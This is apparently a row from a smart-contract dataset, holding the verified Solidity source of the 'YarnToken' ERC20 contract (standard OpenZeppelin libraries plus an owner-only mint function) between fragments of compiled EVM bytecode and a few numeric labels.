f55a4df523b3ef908390a45050565b805161195a906003906020840190612719565b600c54600160a01b900460ff1615611f845760405162461bcd60e51b815260206004820152601060248201526f14185d5cd8589b194e881c185d5cd95960821b6044820152606401610a2a565b600c805460ff60a01b1916600160a01b1790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611e293390565b61195a8282604051806020016040528060008152506121fd565b611fe4848484611bfe565b611ff084848484612230565b61152e5760405162461bcd60e51b8152600401610a2a90612c07565b6000818152600460205260409020546060906001600160a01b03166120435760405162461bcd60e51b8152600401610a2a90612c8e565b6000828152600260205260408120805461205c90612d9d565b80601f016020809104026020016040519081016040528092919081815260200182805461208890612d9d565b80156120d55780601f106120aa576101008083540402835291602001916120d5565b820191906000526020600020905b8154815290600101906020018083116120b857829003601f168201915b50505050509050600380546120e990612d9d565b151590506120f75792915050565b80511561212957600381604051602001612112929190612acc565b604051602081830303815290604052915050919050565b60036121348461233d565b604051602001612112929190612acc565b6001600160a01b0383166121a05761219b81600a80546000838152600b60205260408120829055600182018355919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80155565b6121c3565b816001600160a01b0316836001600160a01b0316146121c3576121c3838261243b565b6001600160a01b0382166121da57610b60816124d8565b826001600160a01b0316826001600160a01b031614610b6057610b608282612587565b61220783836125cb565b6122146000848484612230565b610b605760405162461bcd60e51b8152600401610a2a90612c07565b60006001600160a01b0384163b1561233257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290612274903390899088908890600401612b73565b602060405180830381600087803b15801561228e57600080fd5b505af19250505080156122be575060408051601f3d908101601f191682019092526122bb91810190612a05565b60015b612318573d8080156122ec576040519150601f19603f3d011682016040523d82523d6000602084013e6122f1565b606091505b5080516123105760405162461bcd60e51b8152600401610a2a90612c07565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611bf6565b506001949350505050565b6060816123615750506040805180820190915260018152600360fc1b602082015290565b8160005b811561238b578061237581612dd8565b91506123849050600a83612d46565b9150612365565b60008167ffffffffffffffff8111156123a6576123a6612e5f565b6040519080825280601f01601f1916602001820160405280156123d0576020820181803683370190505b5090505b8415611bf6576123e5600183612d5a565b91506123f2600a86612df3565b6123fd906030612d2e565b60f81b81838151811061241257612412612e49565b60200101906001600160f81b031916908160001a905350612434600a86612d46565b94506123d4565b600060016124488461105c565b6124529190612d5a565b6000838152600960205260409020549091508082146124a5576001600160a01b03841660009081526008602090815260408083208584528252808320548484528184208190558352600990915290208190555b5060009182526009602090815260408084208490556001600160a01b039094168352600881528383209183525290812055565b600a546000906124ea90600190612d5a565b6000838152600b6020526040812054600a805493945090928490811061251257612512612e49565b9060005260206000200154905080600a838154811061253357612533612e49565b6000918252602080832090910192909255828152600b9091526040808220849055858252812055600a80548061256b5761256b612e33565b6001900381819060005260206000200160009055905550505050565b60006125928361105c565b6001600160a01b039093166000908152600860209081526040808320868452825280832085905593825260099052919091209190915550565b6001600160a01b0382166126215760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f20616464726573736044820152606401610a2a565b6000818152600460205260409020546001600160a01b0316156126865760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006044820152606401610a2a565b61269260008383612145565b6001600160a01b03821660009081526005602052604081208054600192906126bb908490612d2e565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b82805461272590612d9d565b90600052602060002090601f016020900481019282612747576000855561278d565b82601f1061276057805160ff191683800117855561278d565b8280016001018555821561278d579182015b8281111561278d578251825591602001919060010190612772565b506127999291506127d3565b5090565b5080546127a990612d9d565b6000825580601f106127b9575050565b601f016020900490600052602060002090810190610e5691905b5b8082111561279957600081556001016127d4565b600067ffffffffffffffff8084111561280357612803612e5f565b604051601f8501601f19908116603f0116810190828211818310171561282b5761282b612e5f565b8160405280935085815286868601111561284457600080fd5b858560208301376000602087830101525050509392505050565b80356001600160a01b038116811461186f57600080fd5b60006020828403121561288757600080fd5b6128908261285e565b9392505050565b600080604083850312156128aa57600080fd5b6128b38361285e565b91506128c16020840161285e565b90509250929050565b6000806000606084860312156128df57600080fd5b6128e88461285e565b92506128f66020850161285e565b9150604084013590509250925092565b6000806000806080858703121561291c57600080fd5b6129258561285e565b93506129336020860161285e565b925060408501359150606085013567ffffffffffffffff81111561295657600080fd5b8501601f8101871361296757600080fd5b612976878235602084016127e8565b91505092959194509250565b6000806040838503121561299557600080fd5b61299e8361285e565b9150602083013580151581146129b357600080fd5b809150509250929050565b600080604083850312156129d157600080fd5b6129da8361285e565b946020939093013593505050565b6000602082840312156129fa57600080fd5b813561289081612e75565b600060208284031215612a1757600080fd5b815161289081612e75565b600060208284031215612a3457600080fd5b813567ffffffffffffffff811115612a4b57600080fd5b8201601f81018413612a5c57600080fd5b611bf6848235602084016127e8565b600060208284031215612a7d57600080fd5b5035919050565b60008151808452612a9c816020860160208601612d71565b601f01601f19169290920160200192915050565b60008151612ac2818560208601612d71565b9290920192915050565b600080845481600182811c915080831680612ae857607f831692505b6020808410821415612b0857634e487b7160e01b86526022600452602486fd5b818015612b1c5760018114612b2d57612b5a565b60ff19861689528489019650612b5a565b60008b81526020902060005b86811015612b525781548b820152908501908301612b39565b505084890196505b505050505050612b6a8185612ab0565b95945050505050565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612ba690830184612a84565b9695505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612be857835183529284019291840191600101612bcc565b50909695505050505050565b6020815260006128906020830184612a84565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b60008219821115612d4157612d41612e07565b500190565b600082612d5557612d55612e1d565b500490565b600082821015612d6c57612d6c612e07565b500390565b60005b83811015612d8c578181015183820152602001612d74565b8381111561152e5750506000910152565b600181811c90821680612db157607f821691505b60208210811415612dd257634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612dec57612dec612e07565b5060010190565b600082612e0257612e02612e1d565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610e5657600080fdfea2646970667358221220cf8e379edd42c9da4168771df0a7779abf2a1713546ab447c7ab88a4cef0c1ec64736f6c63430008070033 | [
5,
7,
12
] |
0xf33c7be3acbec7f0e0397785b56de3dc0eda0809 | // SPDX-License-Identifier: MIT
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.6.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/YarnToken.sol
pragma solidity 0.6.12;
contract YarnToken is ERC20("Yarn.Finance", "YARN"), Ownable {
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d71461046f578063a9059cbb146104d3578063dd62ed3e14610537578063f2fde38b146105af576100f5565b806370a0823114610356578063715018a6146103ae5780638da5cb5b146103b857806395d89b41146103ec576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce5671461028357806339509351146102a457806340c10f1914610308576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105f3565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610695565b60405180821515815260200191505060405180910390f35b6101e96106b3565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106bd565b60405180821515815260200191505060405180910390f35b61028b610796565b604051808260ff16815260200191505060405180910390f35b6102f0600480360360408110156102ba57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107ad565b60405180821515815260200191505060405180910390f35b6103546004803603604081101561031e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610860565b005b6103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610938565b6040518082815260200191505060405180910390f35b6103b6610980565b005b6103c0610b0b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103f4610b35565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610434578082015181840152602081019050610419565b50505050905090810190601f1680156104615780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104bb6004803603604081101561048557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd7565b60405180821515815260200191505060405180910390f35b61051f600480360360408110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ca4565b60405180821515815260200191505060405180910390f35b6105996004803603604081101561054d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cc2565b6040518082815260200191505060405180910390f35b6105f1600480360360208110156105c557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d49565b005b606060038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561068b5780601f106106605761010080835404028352916020019161068b565b820191906000526020600020905b81548152906001019060200180831161066e57829003601f168201915b5050505050905090565b60006106a96106a2610f59565b8484610f61565b6001905092915050565b6000600254905090565b60006106ca848484611158565b61078b846106d6610f59565b610786856040518060600160405280602881526020016117bf60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073c610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114199092919063ffffffff16565b610f61565b600190509392505050565b6000600560009054906101000a900460ff16905090565b60006108566107ba610f59565b8461085185600160006107cb610f59565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673f